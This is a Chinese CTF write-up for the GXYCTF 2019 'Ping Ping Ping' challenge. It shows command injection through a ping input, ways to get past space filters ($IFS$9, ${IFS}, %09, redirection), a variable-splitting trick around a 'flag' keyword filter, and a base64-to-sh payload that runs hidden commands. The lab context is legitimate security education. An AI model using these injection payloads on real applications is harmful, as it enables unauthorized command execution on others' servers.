[NSSCTF] {gxyCTF} Ping Ping Ping 学习笔记

平台:

[GXYCTF 2019]Ping Ping Ping | NSSCTF

解题思路:

眼看到题目,就知道是一个远程的rec,我们可以随便Ping 一下

直接 ls 看看,可以看到它对ls,是没有直接的过滤的,那我们可以尝试一下啊,查看一下flag.php

输入:

cat flag.php 

 失败了,说明它是由对命令进行过滤的,我们还可以试试是什么导致的

当我们直接发送一个空格的时候,它报错了,说明它对空格做了处理,再试试,flag试试

很显然,它对 “ ” 和 “flag” 都进行过滤了

Rec 远程命令执行空格绕过的方法:

< -- 命令的重定性 如 cat<flag.php

<> --重定性 如 cat<>flag.php

%09 --需要php环境,如cat%09flag.php

${IFS}--单纯cat¥IFS2,IFS2就会被bash当作解释器当作变量名输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

我们全部试试

经过测试才发现,只有$IFS$9 这个没有报错,所以应该就是这个可以使用

那么解决了空格问题,还有flag已经被过滤了,我们要怎样才能绕过呢?

我们知道刚刚可以定义变量,那我们定义的变量会不会也是被bash解释器解释呢?

那我们可以大胆一试试,定义变量

a=fl;b=ag

 然后构造的payload就是

127.0.0.1|b=ag;a=fl;cat$IFS$9$a$b.php

我们可以发现,虽然是没有报错了,但是我们还是看不到flag

原因就是 我们使用了 “|”

在Linux中“|”管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果),可能是因为,输出的需要,先把ping 输出出来,后面的才能输出

我们把它,换成“;”

127.0.0.1;b=ag;a=fl;cat$IFS$9$a$b.php

NSSCTF{4f3d389b-6cd8-423f-9e44-6fa5906757e0}

 第二种方法

我们输入Bash 的时候,发现对Bash 也是有过滤的。

本来可以用bash 的方式 对他进行翻译base64在执行

但是我们发现Sh好像没有被过滤,那我们可以用SH脚本,用echo 的方式,先将要输出的文本转换成为base64,再用sh 的base64转换成 原文输出,进行代码绕过

构造的payload:

127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

得到也是一样的效果 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值